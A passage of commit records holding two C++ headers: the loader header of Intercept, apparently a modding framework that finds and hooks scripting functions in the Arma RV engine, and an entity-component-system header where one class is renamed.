placeholder7;\/\/0x1C\n            uint32_t placeholder8;\/\/0x20\n        };\n        class gsFunction : public gsFuncBase {\t\/\/#TODO shouldn't everything in here be const?\n            uint32_t placeholder9;\/\/0x24\n        public:\n            const r_string _name2;\/\/0x28 this is (tolower name)\n            unary_operator * _operator;\/\/0x2C\n            uint32_t placeholder10;\/\/0x30 RString to something\n            const r_string _description;\/\/0x34\n            const r_string _example;\n            const r_string _example2;\n            const r_string placeholder11;\n            const r_string placeholder12;\n            const r_string _category; \/\/0x48\n                                        \/\/const rv_string* placeholder13;\n        };\n        class gsOperator : public gsFuncBase {\n            uint32_t placeholder9;\/\/0x24  JNI function\n        public:\n            r_string _name2;\/\/0x28 this is (tolower name)\n            int32_t placeholder10; \/\/0x2C Small int 0-5  priority\n            binary_operator * _operator;\/\/0x30\n            r_string _leftType;\/\/0x34 Description of left hand side parameter\n            r_string _rightType;\/\/0x38 Description of right hand side parameter\n            r_string _description;\/\/0x3C\n            r_string _example;\/\/0x40\n            r_string placeholder11;\/\/0x44\n            r_string _version;\/\/0x48 some version number\n            r_string placeholder12;\/\/0x4C\n            r_string _category; \/\/0x50\n        };\n        class gsNular : public gsFuncBase {\n        public:\n            const r_string _name2;\/\/0x24 this is (tolower name)\n            nular_operator * _operator;\/\/0x28\n            const r_string _description;\/\/0x2C\n            const r_string _example;\n            const r_string _example2;\n            const r_string _version;\/\/0x38 some version number\n            const r_string placeholder10;\n            const r_string _category; \/\/0x40\n            uint32_t placeholder11;\/\/0x44\n        };\n        struct gsTypeInfo { \/\/Donated from ArmaDebugEngine\n            const r_string _name;\n            void* _createFunction{ nullptr };\n        };\n        struct game_functions : public auto_array<gsFunction>, public gsFuncBase {\n        public:\n            r_string _name;\n            game_functions() {}\n            const char *get_map_key() const { return _name; }\n        };\n\n        struct game_operators : public auto_array<gsOperator>, public gsFuncBase {\n        public:\n            r_string _name;\n            int32_t placeholder10; \/\/0x2C Small int 0-5  priority\n            game_operators() {}\n            const char *get_map_key() const { return _name; }\n        };\n        class game_state {  \/\/ArmaDebugEngine is thankful for being allowed to contribute this.\n        public:\n            auto_array<const gsTypeInfo *> _scriptTypes;\n            map_string_to_class<game_functions, auto_array<game_functions>> _scriptFunctions;\n            map_string_to_class<game_operators, auto_array<game_operators>> _scriptOperators;\n            map_string_to_class<gsNular, auto_array<gsNular>> _scriptNulars;\n        };\n    }\n\n}<commit_msg>Fix Stuff<commit_after>﻿\/*!\n@file\n@author Nou (korewananda@gmail.com)\n\n@brief Memory searcher and patching functionality to the RV engine.\n\nThis is the main patching suit for Intercept. It contains all the functionality\nto search for and patch the RV engine. It also does the main memory analysis to\nfind and catalog the SQF function pointers and store them.\n\nhttps:\/\/github.com\/NouberNou\/intercept\n*\/\n#pragma once\n#include \"shared.hpp\"\n#include \"singleton.hpp\"\n#include \"logging.hpp\"\n#include \"arguments.hpp\"\n#include \"shared\\types.hpp\"\n#include <unordered_set>\n\nusing namespace intercept::types;\n\nnamespace intercept {\n    \/\/! Nular function map.\n    typedef std::unordered_map<std::string, std::vector<nular_entry>> nular_map;\n    \/\/! Unary function map.\n    typedef std::unordered_map<std::string, std::vector<unary_entry>> unary_map;\n    \/\/! Binary functon map.\n    typedef std::unordered_map<std::string, std::vector<binary_entry>> binary_map;\n\n    struct sqf_register_functions {\n        uintptr_t _gameState;\n        uintptr_t _operator_construct;\n        uintptr_t _operator_insert;\n        uintptr_t _unary_construct;\n        uintptr_t _unary_insert;\n        std::array<uintptr_t, static_cast<size_t>(types::__internal::GameDataType::end)> _types {0};\n    };\n\n    \/*!\n    @brief The loader class, memory searcher and patching functionality to the RV engine.\n\n    This is the main patching suit for Intercept. It contains all the functionality\n    to search for and patch the RV engine. It also does the main memory analysis to\n    find and catalog the SQF function pointers and store them.\n    *\/\n    class loader\n        : public singleton<loader> {\n    public:\n        loader();\n        ~loader();\n\n        \/*!\n        @brief Walks the game state maps of SQF functions and finds their info.\n\n        This walks the internal game state objects maps of SQF functions and then\n        gets their comref information, arguement types, and the pointer to the\n        actual function and stores them.\n        *\/\n        void do_function_walk(uintptr_t state_addr_);\n\n        \/*!\n        @brief Returns a unary SQF function from the loaders library of found SQF functions.\n\n        Returns a unary SQF function from the loaders library of found SQF functions.\n\n        @param [in] function_name_ The name of the function, all in lowercase.\n        @param [out] function_ A reference variable to the unary function.\n\n        @return true if function is found, false if function is not found.\n\n        @todo Throw exception if overloads are found so that unexpected results\n        are not encountered.\n\n        @code\n        unary_function can_fire;\n        bool found = get_function(\"canfire\", can_fire);\n        @endcode\n        *\/\n        bool get_function(std::string function_name_, unary_function &function_);\n\n        \/*!\n        @brief Returns a unary SQF function from the loaders library of found\n        SQF functions with argument signature.\n\n        Returns a unary SQF function from the loaders library of found SQF functions\n        but also takes a argument type in case there are overloaded versions of\n        this SQF command available.\n\n        @param [in] function_name_ The name of the function, all in lowercase.\n        @param [out] function_ A reference variable to the unary function.\n        @param [in] arg_signature_ The type of variable in SQF that the right\n        argument is. Must be in all caps, \"ARRAY\", \"SCALAR\", \"BOOL\", \"OBJECT\", etc.\n\n        @return `true` if function is found, `false` if function is not found.\n\n        @code\n        unary_function random_function1;\n        bool found1 = get_function(\"random\", random_function1, \"SCALAR\");\n        unary_function random_function2;\n        bool found2 = get_function(\"random\", random_function2, \"ARRAY\");\n        @endcode\n        *\/\n        bool get_function(std::string function_name_, unary_function & function_, std::string arg_signature_);\n\n        \/*!\n        @brief Returns a binary SQF function from the loaders library of found SQF functions.\n\n        Returns a binary SQF function from the loaders library of found SQF functions.\n\n        @param [in] function_name_ The name of the function, all in lowercase.\n        @param [out] function_ A reference variable to the binary function.\n\n        @return `true` if function is found, `false` if function is not found.\n\n        @todo Throw exception if overloads are found so that unexpected results\n        are not encountered.\n\n        @code\n        binary_function set_pos;\n        bool found = get_function(\"setpos\", set_pos);\n        @endcode\n        *\/\n        bool get_function(std::string function_name_, binary_function &function_);\n\n        \/*!\n        @brief Returns a binary SQF function from the loaders library of found\n        SQF functions with argument signature.\n\n        Returns a binary SQF function from the loaders library of found SQF functions\n        but also takes a argument type in case there are overloaded versions of\n        this SQF command available.\n\n        @param [in] function_name_ The name of the function, all in lowercase.\n        @param [out] function_ A reference variable to the binary function.\n        @param [in] arg1_signature_ The type of variable in SQF that the left\n        argument is. Must be in all caps, \"ARRAY\", \"SCALAR\", \"BOOL\", \"OBJECT\",\n        etc.\n        @param [in] arg2_signature_ The type of variable in SQF that the right\n        argument is. Must be in all caps, \"ARRAY\", \"SCALAR\", \"BOOL\", \"OBJECT\",\n        etc.\n\n        @return `true` if function is found, `false` if function is not found.\n\n        @code\n        binary_function remove_menu_item1;\n        bool found1 = get_function(\"removemenuitem\", remove_menu_item1, \"CONTROL\", \"SCALAR\");\n        binary_function remove_menu_item2;\n        bool found2 = get_function(\"removemenuitem\", remove_menu_item2, \"CONTROL\", \"STRING\");\n        @endcode\n        *\/\n        bool get_function(std::string function_name_, binary_function &function_, std::string arg1_signature_, std::string arg2_signature_);\n\n        \/*!\n        @brief Returns a nular SQF function from the loaders library of found SQF functions.\n\n        Returns a nular SQF function from the loaders library of found SQF functions.\n        There is no version of this function that takes a argument signature because\n        there are no possible arguements for these functions and hence no possible\n        overloading.\n\n        @param [in] function_name_ The name of the function, all in lowercase.\n        @param [out] function_ A reference variable to the binary function.\n\n        @return `true` if function is found, `false` if function is not found.\n\n        @code\n        nular_function player;\n        bool found = get_function(\"player\", player);\n        @endcode\n        *\/\n        bool get_function(std::string function_name_, nular_function &function_);\n\n        \/*!@{\n        @brief Hook a function.\n\n        Hooks a function so that when it is executed in SQF the hooked function\n        will execute in its place instead.\n\n        @warning Warning, this will only hook the first function (and in the future\n        raise an exception if there is an overload of this function).\n\n        @param [in] function_name_ The name of the function to hook.\n        @param [in] hook_ A void pointer to the function to call instead.\n        @param [out] trampoline_ A reference to the trampoline that stores the\n        original function call.\n\n        @return `true` if the hook succeded, `false` if the hook failed.\n        *\/\n        bool hook_function(std::string function_name_, void *hook_, unary_function &trampoline_);\n        bool hook_function(std::string function_name_, void *hook_, binary_function &trampoline_);\n        bool hook_function(std::string function_name_, void *hook_, nular_function &trampoline_);\n        \/\/!@}\n\n        \/*!@{\n        @brief Unhook a unary function.\n\n        Unhooks an already hooked functon. You must pass in the name, original\n        hooked function (the `hook_` parameter that was passed in) and the trampoline\n        that was assigned by the hook function.\n\n        @param [in] function_name_ The name of the function to unhook.\n        @param [in] hook_ A void pointer to the function that is being called in\n        place of the original.\n        @param [out] trampoline_ The trampoline that was returned via reference\n        in the original hook.\n        *\/\n        bool unhook_function(std::string function_name_, void *hook_, unary_function &trampoline_);\n        bool unhook_function(std::string function_name_, void *hook_, binary_function &trampoline_);\n        bool unhook_function(std::string function_name_, void *hook_, nular_function &trampoline_);\n        \/\/!@}\n\n\n        \/*!@{\n        @brief Return the associated function maps.\n        *\/\n        const unary_map & unary() const;\n        const binary_map & binary() const;\n        const nular_map & nular() const;\n        \/\/!@}\n\n        \/*!\n        @brief Returns the pointer to the engines allocator functions.\n        *\/\n        const types::__internal::allocatorInfo* get_allocator() const;\n\n        \/*!\n        @brief Returns function Pointers needed to register SQF Functions\n        *\/\n        const sqf_register_functions& get_register_sqf_info() const;\n\n\n\n\n    protected:\n        \/*!\n        @name Function Maps\n        *\/\n        \/\/!@{\n        unary_map _unary_operators;\n        binary_map _binary_operators;\n        nular_map _nular_operators;\n        \/\/!@}\n\n        \/*!\n        @name Initial Hook Functionality\n        *\/\n        \/\/!@{\n        static int __cdecl _initial_patch(char *a_, int b_, int c_);\n        static unary_function _initial_trampoline;\n        \/\/!@}\n\n        \/*!\n        @brief Stores the hooked functions.\n        *\/\n        std::unordered_set<uint32_t> _hooked_functions;\n\n        \/*!\n        @brief Stores the data about the engines allocators.\n        *\/\n        types::__internal::allocatorInfo _allocator;\n\n        \/*!\n        @brief Stores the data about the Functions needed to register SQF Functions.\n        *\/\n        sqf_register_functions _sqf_register_funcs;\n\n        bool _attached;\n        bool _patched;\n    };\n\n    namespace __internal {\t \/\/@Nou where should i store this stuff? It shall only be used internally.\n        class gsFuncBase {\n        public:\n            const r_string _name;\n        private:\n            uint32_t placeholder1;\/\/0x4\n            uint32_t placeholder2;\/\/0x8 actually a pointer to empty memory\n            uint32_t placeholder3;\/\/0xC\n            uint32_t placeholder4;\/\/0x10\n            uint32_t placeholder5;\/\/0x14\n            uint32_t placeholder6;\/\/0x18\n            uint32_t placeholder7;\/\/0x1C\n            uint32_t placeholder8;\/\/0x20\n        };\n        class gsFunction : public gsFuncBase {\t\/\/#TODO shouldn't everything in here be const?\n            uint32_t placeholder9;\/\/0x24\n        public:\n            const r_string _name2;\/\/0x28 this is (tolower name)\n            unary_operator * _operator;\/\/0x2C\n            uint32_t placeholder10;\/\/0x30 RString to something\n            const r_string _description;\/\/0x34\n            const r_string _example;\n            const r_string _example2;\n            const r_string placeholder11;\n            const r_string placeholder12;\n            const r_string _category; \/\/0x48\n                                        \/\/const rv_string* placeholder13;\n        };\n        class gsOperator : public gsFuncBase {\n            uint32_t placeholder9;\/\/0x24  JNI function\n        public:\n            r_string _name2;\/\/0x28 this is (tolower name)\n            int32_t placeholder10; \/\/0x2C Small int 0-5  priority\n            binary_operator * _operator;\/\/0x30\n            r_string _leftType;\/\/0x34 Description of left hand side parameter\n            r_string _rightType;\/\/0x38 Description of right hand side parameter\n            r_string _description;\/\/0x3C\n            r_string _example;\/\/0x40\n            r_string placeholder11;\/\/0x44\n            r_string _version;\/\/0x48 some version number\n            r_string placeholder12;\/\/0x4C\n            r_string _category; \/\/0x50\n        };\n        class gsNular : public gsFuncBase {\n        public:\n            const r_string _name2;\/\/0x24 this is (tolower name)\n            nular_operator * _operator;\/\/0x28\n            const r_string _description;\/\/0x2C\n            const r_string _example;\n            const r_string _example2;\n            const r_string _version;\/\/0x38 some version number\n            const r_string placeholder10;\n            const r_string _category; \/\/0x40\n            uint32_t placeholder11;\/\/0x44\n        };\n        struct gsTypeInfo { \/\/Donated from ArmaDebugEngine\n            const r_string _name;\n            void* _createFunction{ nullptr };\n        };\n        struct game_functions : public auto_array<gsFunction>, public gsFuncBase {\n        public:\n            r_string _name;\n            game_functions() {}\n            const char *get_map_key() const { return _name; }\n        };\n\n        struct game_operators : public auto_array<gsOperator>, public gsFuncBase {\n        public:\n            r_string _name;\n            int32_t placeholder10; \/\/0x2C Small int 0-5  priority\n            game_operators() {}\n            const char *get_map_key() const { return _name; }\n        };\n        class game_state {  \/\/ArmaDebugEngine is thankful for being allowed to contribute this.\n        public:\n            auto_array<const gsTypeInfo *> _scriptTypes;\n            map_string_to_class<game_functions, auto_array<game_functions>> _scriptFunctions;\n            map_string_to_class<game_operators, auto_array<game_operators>> _scriptOperators;\n            map_string_to_class<gsNular, auto_array<gsNular>> _scriptNulars;\n        };\n        template class rv_allocator<gsFunction>;\n        template class rv_allocator<gsOperator>;\n        template class rv_allocator<gsNular>;\n    }\n\n}<|endoftext|>"}
{"text":"<commit_before>#ifndef IMPL_AX_SYSTEM_HPP\n#define IMPL_AX_SYSTEM_HPP\n\n#include <cstddef>\n#include <stdexcept>\n#include <memory>\n#include <functional>\n#include <array>\n#include <unordered_set>\n#include <unordered_map>\n#include <queue>\n\n#include \"prelude.hpp\"\n#include \"string.hpp\"\n#include \"vector.hpp\"\n#include \"option.hpp\"\n#include \"address.hpp\"\n#include \"addressable.hpp\"\n#include \"castable.hpp\"\n#include \"eventable.hpp\"\n\nnamespace ax\n{\n    class entity;\n    class system;\n    using system_ptr = std::shared_ptr<ax::system>;\n    class world;\n\n    \/\/ A component in an entity-component-system.\n    struct component\n    {\n        CONSTRAINT(component);\n        bool active;\n    };\n\n    \/\/ A component that includes the address of the containing entity so that related components can be found.\n    struct composite_component : public ax::component\n    {\n        CONSTRAINT(composite_component);\n        ax::address address;\n    };\n\n    \/\/ The common data of an entity stored as a component.\n    struct entity_component : public ax::component\n    {\n        std::unordered_map<ax::name, ax::component*> components;\n    };\n\n    \/\/ A component that store multiple of the same type of component.\n    template<typename T, typename A, std::size_t N>\n    struct multi_component : public ax::component\n    {\n        CONSTRAINT(multi_component);\n        constexpr void static_check() { CONSTRAIN(T, component); }\n        ax::vector<T, A, N> components;\n    };\n\n    \/\/ A transform component.\n    \/\/ NOTE: of course, we'd instead use math library types in here.\n    struct transform : public ax::component\n    {\n        float x_pos;\n        float y_pos;\n        float rotation;\n    };\n\n    \/\/ A system in an entity-component-system.\n    class system : public ax::castable\n    {\n    public:\n\n        CONSTRAINT(system);\n        system(ax::world& world) : world(world) { }\n        virtual ~system() = default;\n\n        virtual ax::component& add_component(const ax::address& address) = 0;\n        virtual bool remove_component(const ax::address& address) = 0;\n        virtual ax::component* try_get_component(const ax::address& address) = 0;\n        virtual void update(int mode = 0) = 0;\n\n    protected:\n\n        ENABLE_CAST(ax::system, ax::castable);\n        ax::world& world;\n    };\n\n    template<typename T>\n    class system_t : public ax::system\n    {\n    public:\n\n        CONSTRAINT(system_t);\n        using component_t = T;\n        template<typename T> using reify = ax::system_t<T>;\n\n        system_t(std::size_t capacity = 128)\n        {\n            CONSTRAIN(T, ax::component);\n            components.reserve(capacity);\n            component_map.reserve(capacity);\n        }\n\n        T& add_component(const ax::address& address, const T& component)\n        {\n            if (free_list.empty())\n            {\n                components.push_back(component);\n                VAR& component_found = components.back();\n                component_found.active = false;\n                return component_found;\n            }\n            else\n            {\n                VAL index = free_list.front();\n                free_list.pop();\n                std::insert_or_assign(component_map, address, index);\n                VAR& component_found = components.at(index);\n                component_found = component;\n                component_found.active = true; \/\/ ensure active after assignment\n                return component_found;\n            }\n        }\n\n        T& add_component(const ax::address& address) override\n        {\n            return ax::system_t<T>::add_component(address, T());\n        }\n\n        bool remove_component(const ax::address& address) override\n        {\n            VAL index_iter = component_map.find(address);\n            if (index_iter != component_map.end())\n            {\n                VAL index = index_iter->second;\n                free_list.push(index);\n                VAR& component = components.at(index);\n                component.active = false;\n                component_map.erase(address);\n                return true;\n            }\n            return false;\n        }\n\n        T* try_get_component(const ax::address& address) override\n        {\n            VAL index_iter = component_map.find(address);\n            if (index_iter != component_map.end())\n            {\n                VAL index = index_iter->second;\n                return &components.at(index);\n            }\n            return nullptr;\n        }\n\n        void update(int mode) override\n        {\n            for (VAR& component : components)\n            {\n                update_component(component, mode);\n            }\n        }\n\n        virtual void update_component(T& component, int mode) = 0;\n\n    protected:\n\n        ENABLE_CAST(ax::system_t<T>, ax::system);\n\n        ax::vector<T> components;\n        std::unordered_map<ax::address, std::size_t> component_map;\n        std::queue<std::size_t> free_list;\n    };\n\n    template<typename S, typename A, std::size_t N>\n    class multi_system final : public ax::system_t<ax::multi_component<typename S::component_t, A, N>>\n    {\n    public:\n\n        CONSTRAINT(multi_system);\n        using component_t = typename S::component_t;\n        using multi_component_t = typename ax::multi_component<component_t, A, N>;\n        template<typename S, typename A, std::size_t N> using reify = ax::multi_system<S, A, N>;\n\n        multi_system(S& system) : system(system) { }\n\n        void update_component(multi_component_t& multicomponent, int mode) override\n        {\n            CONSTRAIN(S, ax::system_t<component_t>);\n            for (VAR& component : multi_component.components)\n            {\n                system.update_component(component, mode);\n            }\n        }\n\n    protected:\n\n        using multi_system_s_a_n = ax::multi_system<S, A, N>;\n        ENABLE_CAST(multi_system_s_a_n, ax::system_t<component_t>);\n\n        S& system;\n    };\n\n    \/\/ The world that contains the entity-component-system, event system, and other mixins.\n    \/\/ Uses function members because the type is not meant to be inherited.\n    class world final : public ax::eventable<ax::world>\n    {\n    public:\n\n        world(\n            std::function<void(ax::world& world)> initialize_systems_impl,\n            std::function<void(ax::world& world)> update_systems_impl,\n            std::function<void(ax::world& world)> clean_up_systems_impl);\n\n        template<typename T>\n        T* try_add_component(const ax::name& system_name, const ax::address& address, const T& component = T())\n        {\n            VAL& entities_iter = systems.find(\"entities\");\n            if (entities_iter != systems.end())\n            {\n                VAL& entities = ax::cast<ax::system_t<ax::entity_component>>(entities_iter->second);\n                VAR* entity_opt = entities->try_get_component(address);\n                if (entity_opt)\n                {\n                    VAL& system_iter = systems.find(system_name);\n                    if (system_iter != systems.end())\n                    {\n                        VAL& system = ax::cast<ax::system_t<T>>(system_iter->second);\n                        VAR& result = system->add_component(address, component);\n                        std::insert_or_assign(entity_opt->components, system_name, &result);\n                        return &result;\n                    }\n                }\n            }\n            return nullptr;\n        }\n\n        template<typename T>\n        T* try_get_component(const ax::name& system_name, const ax::address& address)\n        {\n            VAL& entities_iter = systems.find(\"entities\");\n            if (entities_iter != systems.end())\n            {\n                VAL& entities = ax::cast<ax::system_t<ax::entity_component>>(entities_iter->second);\n                VAR* entity_opt = entities->try_get_component(address);\n                if (entity_opt)\n                {\n                    VAL& system_iter = systems.find(system_name);\n                    if (system_iter != systems.end())\n                    {\n                        VAL& system = ax::cast<ax::system_t<T>>(system_iter->second);\n                        return system->try_get_component(address);\n                    }\n                }\n            }\n            return nullptr;\n        }\n\n        ax::transform* try_get_transform(const ax::address& address);\n        ax::entity_component* try_get_entity(const ax::address& address);\n        bool entity_exists(const ax::address& address);\n        ax::component* try_add_component(const ax::name& system_name, const ax::address& address);\n        bool try_remove_component(const ax::name& system_name, const ax::address& address);\n        ax::entity create_entity(const ax::address& address);\n        bool destroy_entity(const ax::address& address);\n        ax::system_ptr try_add_system(const ax::name& name, ax::system_ptr system);\n        bool remove_system(const ax::name& name);\n        void initialize_systems();\n        void update_systems();\n        void clean_up_systems();\n\n    private:\n\n        ax::entity_component* try_add_entity(const ax::address& address);\n        bool try_remove_entity(const ax::address& address);\n        std::unordered_map<ax::name, std::shared_ptr<ax::system>> systems;\n        std::function<void(ax::world& world)> initialize_systems_impl;\n        std::function<void(ax::world& world)> update_systems_impl;\n        std::function<void(ax::world& world)> clean_up_systems_impl;\n    };\n\n    \/\/ A handle to an entity in an entity-component-system.\n    class entity final : public ax::addressable\n    {\n    public:\n\n        entity(const ax::entity& other) = default;\n        entity(ax::entity&& other) = default;\n        ax::entity& operator=(const ax::entity& other) = default;\n        ax::entity& operator=(ax::entity&& other) = default;\n        entity(const ax::address& address, ax::world& world) : ax::addressable(address), world(world) { }\n\n        template<typename T>\n        const T* try_get_component(const ax::name& name) const { return world.try_get_component<T>(name, get_address()); }\n\n        template<typename T>\n        T* try_get_component(const ax::name& name) { return world.try_get_component<T>(name, get_address()); }\n\n        template<typename T>\n        const T& get_component(const ax::name& name) const { return *try_get_component<T>(name); }\n\n        template<typename T>\n        T& get_component(const ax::name& name)\n        {\n            VAR* component_opt = *try_get_component<T>(name);\n            if (component_opt) return *component_opt;\n            throw std::runtime_error(\"No component \"_s + name.to_string() + \" found at address \" + get_address().to_string());\n        }\n\n        ax::transform& get_transform() const { return *world.try_get_transform(get_address()); }\n        ax::transform& set_transform(const ax::transform& transform) { return get_transform() = transform; }\n        float get_x_pos() const { return get_transform().x_pos; }\n        float set_x_pos(float value) { return get_transform().x_pos = value; }\n        float get_y_pos() const { return get_transform().y_pos; }\n        float set_y_pos(float value) { return get_transform().y_pos = value; }\n        float get_rotation() const { return get_transform().rotation; }\n        float set_rotation(float value) { return get_transform().rotation = value; }\n        bool exists() const { return world.entity_exists(get_address()); }\n\n    private:\n\n        ax::world& world;\n    };\n}\n\n#endif\n<commit_msg>Renamed multi_system.<commit_after>#ifndef IMPL_AX_SYSTEM_HPP\n#define IMPL_AX_SYSTEM_HPP\n\n#include <cstddef>\n#include <stdexcept>\n#include <memory>\n#include <functional>\n#include <array>\n#include <unordered_set>\n#include <unordered_map>\n#include <queue>\n\n#include \"prelude.hpp\"\n#include \"string.hpp\"\n#include \"vector.hpp\"\n#include \"option.hpp\"\n#include \"address.hpp\"\n#include \"addressable.hpp\"\n#include \"castable.hpp\"\n#include \"eventable.hpp\"\n\nnamespace ax\n{\n    class entity;\n    class system;\n    using system_ptr = std::shared_ptr<ax::system>;\n    class world;\n\n    \/\/ A component in an entity-component-system.\n    struct component\n    {\n        CONSTRAINT(component);\n        bool active;\n    };\n\n    \/\/ A component that includes the address of the containing entity so that related components can be found.\n    struct composite_component : public ax::component\n    {\n        CONSTRAINT(composite_component);\n        ax::address address;\n    };\n\n    \/\/ The common data of an entity stored as a component.\n    struct entity_component : public ax::component\n    {\n        std::unordered_map<ax::name, ax::component*> components;\n    };\n\n    \/\/ A component that store multiple of the same type of component.\n    template<typename T, typename A, std::size_t N>\n    struct multi_component : public ax::component\n    {\n        CONSTRAINT(multi_component);\n        constexpr void static_check() { CONSTRAIN(T, component); }\n        ax::vector<T, A, N> components;\n    };\n\n    \/\/ A transform component.\n    \/\/ NOTE: of course, we'd instead use math library types in here.\n    struct transform : public ax::component\n    {\n        float x_pos;\n        float y_pos;\n        float rotation;\n    };\n\n    \/\/ A system in an entity-component-system.\n    class system : public ax::castable\n    {\n    public:\n\n        CONSTRAINT(system);\n        system(ax::world& world) : world(world) { }\n        virtual ~system() = default;\n\n        virtual ax::component& add_component(const ax::address& address) = 0;\n        virtual bool remove_component(const ax::address& address) = 0;\n        virtual ax::component* try_get_component(const ax::address& address) = 0;\n        virtual void update(int mode = 0) = 0;\n\n    protected:\n\n        ENABLE_CAST(ax::system, ax::castable);\n        ax::world& world;\n    };\n\n    template<typename T>\n    class system_t : public ax::system\n    {\n    public:\n\n        CONSTRAINT(system_t);\n        using component_t = T;\n        template<typename T> using reify = ax::system_t<T>;\n\n        system_t(std::size_t capacity = 128)\n        {\n            CONSTRAIN(T, ax::component);\n            components.reserve(capacity);\n            component_map.reserve(capacity);\n        }\n\n        T& add_component(const ax::address& address, const T& component)\n        {\n            if (free_list.empty())\n            {\n                components.push_back(component);\n                VAR& component_found = components.back();\n                component_found.active = false;\n                return component_found;\n            }\n            else\n            {\n                VAL index = free_list.front();\n                free_list.pop();\n                std::insert_or_assign(component_map, address, index);\n                VAR& component_found = components.at(index);\n                component_found = component;\n                component_found.active = true; \/\/ ensure active after assignment\n                return component_found;\n            }\n        }\n\n        T& add_component(const ax::address& address) override\n        {\n            return ax::system_t<T>::add_component(address, T());\n        }\n\n        bool remove_component(const ax::address& address) override\n        {\n            VAL index_iter = component_map.find(address);\n            if (index_iter != component_map.end())\n            {\n                VAL index = index_iter->second;\n                free_list.push(index);\n                VAR& component = components.at(index);\n                component.active = false;\n                component_map.erase(address);\n                return true;\n            }\n            return false;\n        }\n\n        T* try_get_component(const ax::address& address) override\n        {\n            VAL index_iter = component_map.find(address);\n            if (index_iter != component_map.end())\n            {\n                VAL index = index_iter->second;\n                return &components.at(index);\n            }\n            return nullptr;\n        }\n\n        void update(int mode) override\n        {\n            for (VAR& component : components)\n            {\n                update_component(component, mode);\n            }\n        }\n\n        virtual void update_component(T& component, int mode) = 0;\n\n    protected:\n\n        ENABLE_CAST(ax::system_t<T>, ax::system);\n\n        ax::vector<T> components;\n        std::unordered_map<ax::address, std::size_t> component_map;\n        std::queue<std::size_t> free_list;\n    };\n\n    template<typename S, typename A, std::size_t N>\n    class multi_system_t final : public ax::system_t<ax::multi_component<typename S::component_t, A, N>>\n    {\n    public:\n\n        CONSTRAINT(multi_system_t);\n        using component_t = typename S::component_t;\n        using multi_component_t = typename ax::multi_component<component_t, A, N>;\n        template<typename S, typename A, std::size_t N> using reify = ax::multi_system_t<S, A, N>;\n\n        multi_system_t(S& system) : system(system) { }\n\n        void update_component(multi_component_t& multicomponent, int mode) override\n        {\n            CONSTRAIN(S, ax::system_t<component_t>);\n            for (VAR& component : multi_component.components)\n            {\n                system.update_component(component, mode);\n            }\n        }\n\n    protected:\n\n        using multi_system_s_a_n = ax::multi_system_t<S, A, N>;\n        ENABLE_CAST(multi_system_s_a_n, ax::system_t<component_t>);\n\n        S& system;\n    };\n\n    \/\/ The world that contains the entity-component-system, event system, and other mixins.\n    \/\/ Uses function members because the type is not meant to be inherited.\n    class world final : public ax::eventable<ax::world>\n    {\n    public:\n\n        world(\n            std::function<void(ax::world& world)> initialize_systems_impl,\n            std::function<void(ax::world& world)> update_systems_impl,\n            std::function<void(ax::world& world)> clean_up_systems_impl);\n\n        template<typename T>\n        T* try_add_component(const ax::name& system_name, const ax::address& address, const T& component = T())\n        {\n            VAL& entities_iter = systems.find(\"entities\");\n            if (entities_iter != systems.end())\n            {\n                VAL& entities = ax::cast<ax::system_t<ax::entity_component>>(entities_iter->second);\n                VAR* entity_opt = entities->try_get_component(address);\n                if (entity_opt)\n                {\n                    VAL& system_iter = systems.find(system_name);\n                    if (system_iter != systems.end())\n                    {\n                        VAL& system = ax::cast<ax::system_t<T>>(system_iter->second);\n                        VAR& result = system->add_component(address, component);\n                        std::insert_or_assign(entity_opt->components, system_name, &result);\n                        return &result;\n                    }\n                }\n            }\n            return nullptr;\n        }\n\n        template<typename T>\n        T* try_get_component(const ax::name& system_name, const ax::address& address)\n        {\n            VAL& entities_iter = systems.find(\"entities\");\n            if (entities_iter != systems.end())\n            {\n                VAL& entities = ax::cast<ax::system_t<ax::entity_component>>(entities_iter->second);\n                VAR* entity_opt = entities->try_get_component(address);\n                if (entity_opt)\n                {\n                    VAL& system_iter = systems.find(system_name);\n                    if (system_iter != systems.end())\n                    {\n                        VAL& system = ax::cast<ax::system_t<T>>(system_iter->second);\n                        return system->try_get_component(address);\n                    }\n                }\n            }\n            return nullptr;\n        }\n\n        ax::transform* try_get_transform(const ax::address& address);\n        ax::entity_component* try_get_entity(const ax::address& address);\n        bool entity_exists(const ax::address& address);\n        ax::component* try_add_component(const ax::name& system_name, const ax::address& address);\n        bool try_remove_component(const ax::name& system_name, const ax::address& address);\n        ax::entity create_entity(const ax::address& address);\n        bool destroy_entity(const ax::address& address);\n        ax::system_ptr try_add_system(const ax::name& name, ax::system_ptr system);\n        bool remove_system(const ax::name& name);\n        void initialize_systems();\n        void update_systems();\n        void clean_up_systems();\n\n    private:\n\n        ax::entity_component* try_add_entity(const ax::address& address);\n        bool try_remove_entity(const ax::address& address);\n        std::unordered_map<ax::name, std::shared_ptr<ax::system>> systems;\n        std::function<void(ax::world& world)> initialize_systems_impl;\n        std::function<void(ax::world& world)> update_systems_impl;\n        std::function<void(ax::world& world)> clean_up_systems_impl;\n    };\n\n    \/\/ A handle to an entity in an entity-component-system.\n    class entity final : public ax::addressable\n    {\n    public:\n\n        entity(const ax::entity& other) = default;\n        entity(ax::entity&& other) = default;\n        ax::entity& operator=(const ax::entity& other) = default;\n        ax::entity& operator=(ax::entity&& other) = default;\n        entity(const ax::address& address, ax::world& world) : ax::addressable(address), world(world) { }\n\n        template<typename T>\n        const T* try_get_component(const ax::name& name) const { return world.try_get_component<T>(name, get_address()); }\n\n        template<typename T>\n        T* try_get_component(const ax::name& name) { return world.try_get_component<T>(name, get_address()); }\n\n        template<typename T>\n        const T& get_component(const ax::name& name) const { return *try_get_component<T>(name); }\n\n        template<typename T>\n        T& get_component(const ax::name& name)\n        {\n            VAR* component_opt = *try_get_component<T>(name);\n            if (component_opt) return *component_opt;\n            throw std::runtime_error(\"No component \"_s + name.to_string() + \" found at address \" + get_address().to_string());\n        }\n\n        ax::transform& get_transform() const { return *world.try_get_transform(get_address()); }\n        ax::transform& set_transform(const ax::transform& transform) { return get_transform() = transform; }\n        float get_x_pos() const { return get_transform().x_pos; }\n        float set_x_pos(float value) { return get_transform().x_pos = value; }\n        float get_y_pos() const { return get_transform().y_pos; }\n        float set_y_pos(float value) { return get_transform().y_pos = value; }\n        float get_rotation() const { return get_transform().rotation; }\n        float set_rotation(float value) { return get_transform().rotation = value; }\n        bool exists() const { return world.entity_exists(get_address()); }\n\n    private:\n\n        ax::world& world;\n    };\n}\n\n#endif\n<|endoftext|>"}
